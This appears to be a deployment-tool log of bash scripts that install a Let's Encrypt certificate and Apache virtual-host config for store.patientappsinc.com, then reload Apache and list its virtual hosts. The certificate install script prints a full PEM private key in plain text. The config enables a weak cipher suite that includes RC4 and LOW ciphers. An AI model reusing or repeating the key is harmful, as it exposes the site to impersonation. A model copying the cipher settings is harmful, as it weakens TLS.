MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:40:22: Establishing a connection
2026-05-24 10:40:22: Establishing a connection
2026-05-24 10:40:22: 

PUT: /tmp/pkp124590

#!/bin/bash
if [ -d "/var/www/patientappsinc_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 10:40:22: 

chmod 755 /tmp/pkp124590; /tmp/pkp124590; rm /tmp/pkp124590

2026-05-24 10:40:22: 


1


2026-05-24 10:40:23: Establishing a connection
2026-05-24 10:40:24: 

PUT: /tmp/pkp461042

#!/bin/bash
mkdir -p "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_store/.well-known/acme-challenge/"


2026-05-24 10:40:24: 

chmod 755 /tmp/pkp461042; /tmp/pkp461042; rm /tmp/pkp461042

2026-05-24 10:40:24: 




2026-05-24 10:40:25: Establishing a connection
2026-05-24 10:40:25: 

PUT: /tmp/pkp580788

#!/bin/bash
mkdir -p "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_store/.well-known/acme-challenge/"


2026-05-24 10:40:25: 

chmod 755 /tmp/pkp580788; /tmp/pkp580788; rm /tmp/pkp580788

2026-05-24 10:40:25: 




2026-05-24 10:40:25: Establishing a connection
2026-05-24 10:40:25: 

PUT: /tmp/pkp891015

#!/bin/bash
temp_file=$(mktemp)
TARGET=c5e63c14872d7481ec62b1c08329f801.crt

cat > $temp_file <<'endmsg'
bc:b4:8b:f0:3a:6b:4f:43:b1:3a:5d:c2:13:ab:d5:80

-----BEGIN CERTIFICATE-----
MIIFIDCCBAigAwIBAgISBoeXNA1qMitQlO8WcFvdQrHhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDk0MTU0WhcNMjYwODIyMDk0MTUzWjAjMSEwHwYDVQQD
ExhzdG9yZS5wYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqSr2INVVPIz7nYPylhncRuUngng5inYjMb3wW1W4k2/3/L1Jb
Lu1W2VaSXRFNCWgYxeiIYpH11dvYUPTULnVk6kkjuxc9KnkBvQra6dEqGgBV6jdq
maA64mjmuPje0y+eFgIfuwPWlOtbkgotCNc0l+0b0drmzewhHJopu7PhzF9nmWPp
jHlqXrFdmNLR4/l0p6va2fZMyOeXce271MMx+F1ZUxzku9GZkBGFs+Ae+ch7Uc5x
OqASDOBxRRdzo+iYwAiMKi55Ze9EbdRH3UiEOJAcpGKHfsW8LRuB1H+27aPsOfFY
Rt6bskMT1XdQrE4Uf7p+wzdLiogb1Wd8CyLbAgMBAAGjggI8MIICODAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUyWIOPNMcL78cIWpFRk9HxZPAP7UwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzA6BgNVHREEMzAxghVzdG9yZS5wYXRpZW50YXBwcy5j
b22CGHN0b3JlLnBhdGllbnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAEC
ATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzk4LmNy
bDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB9AEavhj07PuWfpXfeqCRdNrDZ7SKi
I/Rhd0EilFLulVBfAAABnlmSXWIACAAABQAHfwSOBAMARjBEAiA7WkAISRDRjr0D
nwDVi486Dm0cRfhQpdDTTd/4Tw0t0gIgcFHo7FG6YzjIIMaD8ZOC3zXUbUPNt8dH
ZaPQMrSaCUMAdgCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ5Z
kl2wAAAEAwBHMEUCIQD/hx7eltBXohjanjsGuY78BK6Z5VXfCeeqirOUyXAqrwIg
S7YDwv3F6/DfsWgSDChm837aPME62YtEDs5URnGguvAwDQYJKoZIhvcNAQELBQAD
ggEBAEpm7NJyfRi5Omy9I3k9NN0tGrl1Qw8NOQpQfLFPvPATntYX5eGhUbAwsZRf
1tjaGYGH6jEToqQ0lDefZBlSopsUGD3Ouy6xUvLHLVmz9Yf6HQUz1tuPXbvAeNp6
bX5DsrIYBwf+1BXIqKuFb5FI7LaaYl6itd09ynt7Ea8ctcupx1wI+I/R/Ixwglza
esctwBqLAjFm1+bmrBXlQGqzeZc5Slzf+AFXSsjpLLLujX8Vvigp97VYUECb15Yf
dQ0Go3E3cNXts/ZSxHY36MDQSSpr90tYBZpmRbEtSujdABi/QQNsCIbNxz9JM2wZ
rUXodLn1pZn4O2/Ce8zUNVu9TRY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqSr2INVVPIz7n
YPylhncRuUngng5inYjMb3wW1W4k2/3/L1JbLu1W2VaSXRFNCWgYxeiIYpH11dvY
UPTULnVk6kkjuxc9KnkBvQra6dEqGgBV6jdqmaA64mjmuPje0y+eFgIfuwPWlOtb
kgotCNc0l+0b0drmzewhHJopu7PhzF9nmWPpjHlqXrFdmNLR4/l0p6va2fZMyOeX
ce271MMx+F1ZUxzku9GZkBGFs+Ae+ch7Uc5xOqASDOBxRRdzo+iYwAiMKi55Ze9E
bdRH3UiEOJAcpGKHfsW8LRuB1H+27aPsOfFYRt6bskMT1XdQrE4Uf7p+wzdLiogb
1Wd8CyLbAgMBAAECggEAB66kezsQtKe95DlDXIJC59lIhGoM8xTxQWu8GNmbBO2p
uTPczsFAsrzOQ38QUz3b5NY0xcZQmFsD9m+8g7/uytUo5IRBqaA7YkExdqu6pGAU
6MtOoa/5gv6IxfPNQlwbl1Gd2emZZDpGndRqQhrWfohmCW2/ps7eWqYMLFrL5CE9
t3AgaTRjOptGAmfbK+NLouYoSjJAogaKI6fMo40JrGwDdTXtvD7WB7hJsJJPYDwM
uCPnep8d3N3qTh61yzTWFo/tGw2pDIYdzAn7pipRikHfr3aRmZgfmHrWmZfeHuX4
2HdBoTaeMjM6qTNGY3zWU8oxrTQAGdiQCJba1lWBuQKBgQDk8u5RmAHvdSw8LnId
UkfKHaYHfQ41x/iOXJ0ap00AZ3but4VOsp5QL1XLQ5z0UBdOUlCm9RGkn2kDouYt
+C440xjsKb2e8Ne+df0Z71/wumxALOtDADY3NYRWZBDW83J9NpG4F4egk5kjC74t
PgVtNCmOa2XlLF+LcrqfCMarOQKBgQC+aZk0O5CmL7ALfKjulSxwnGzds227Nnqy
qMLgCccq9gAUK6nKBkB2rE+KMwXpNOSPL1CW1gfzLhS3Wnhga1fJtthHYKtUKSnZ
gukdC0xnBXcdH3Rz5StySgJtBJzve9IbzgXnjxapX9GzirdBLL0l1VaFfNCAPl55
dxv1VIq6swKBgCOz7o4y0jpxX1CTPaBs8F0Iepe4XLruUEiDEMzTQiLJ/7YCUHuR
Rzbh6tMj3BoNU1UXaRRgKzwsz8eNY6/PgAXEhaJub++VR0+gPrQIrEFyEOeBGb79
DXdWlSiTujyLAlOcauT2ZmQYIE1iy2lqvpXlCIX5IY63eL7aSVf7ml+hAoGAaAvF
xm/h651VQgGdQblLrkEbj81y4YC0bRmgWtGc/lGr21m8joL6CJ7BW8/jo/neBouh
KrrLX0tH0KTj8DPXpYZ/Cgm9tOBFWPCatt8soYKwAr7kYEvSgMIGL1H8+zOarMzY
Fx7uECEmskfTOQ7cUGcRvyFjwR/TeeXm5hiLMdcCgYEAxxRybl+ckUkJ9lyO4+Xh
SGYDlze4llVPBfXVj1oFLeDqvXwzDesUWvI6Def0VZFUXrosejD54YHSrq2yefaf
DP/f84h6wF+udAmdiTlqLfvVChmqTeCjk53HHjEBNsrTmfmmb4FwGlCuao+zOGPz
U1ubglXB08EWQ4G6ggZvplg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-24 10:40:26: 

chmod 755 /tmp/pkp891015; /tmp/pkp891015; rm /tmp/pkp891015

2026-05-24 10:40:26: 


dir=/etc/ssl/certs


2026-05-24 10:40:26: 

PUT: /tmp/pkp828339

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/patientappsinc_store_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-24 10:40:26: 

chmod 755 /tmp/pkp828339; /tmp/pkp828339; rm /tmp/pkp828339

2026-05-24 10:40:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf 1736

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com 
#shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com 
#shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>






2026-05-24 10:40:26: 

PUT: /tmp/pkp870788

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_store_com.conf
TARGET=/etc/apache2/sites-available/patientappsinc_store_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com
    #shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com
    #shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/patientappsinc_store_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientappsinc_store_com.conf)= /etc/apache2//etc/apache2/sites-available/patientappsinc_store_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/patientappsinc_store_com.conf= 1'
fi


2026-05-24 10:40:26: 

chmod 755 /tmp/pkp870788; /tmp/pkp870788; rm /tmp/pkp870788

2026-05-24 10:40:26: 




2026-05-24 10:40:26: 

PUT: /tmp/pkp500043

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-24 10:40:26: 

chmod 755 /tmp/pkp500043; /tmp/pkp500043; rm /tmp/pkp500043

2026-05-24 10:40:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 10:40:26: Establishing a connection
2026-05-24 10:40:26: 

PUT: /tmp/pkp790311

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 10:40:26: 

chmod 755 /tmp/pkp790311; /tmp/pkp790311; rm /tmp/pkp790311

2026-05-24 10:40:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
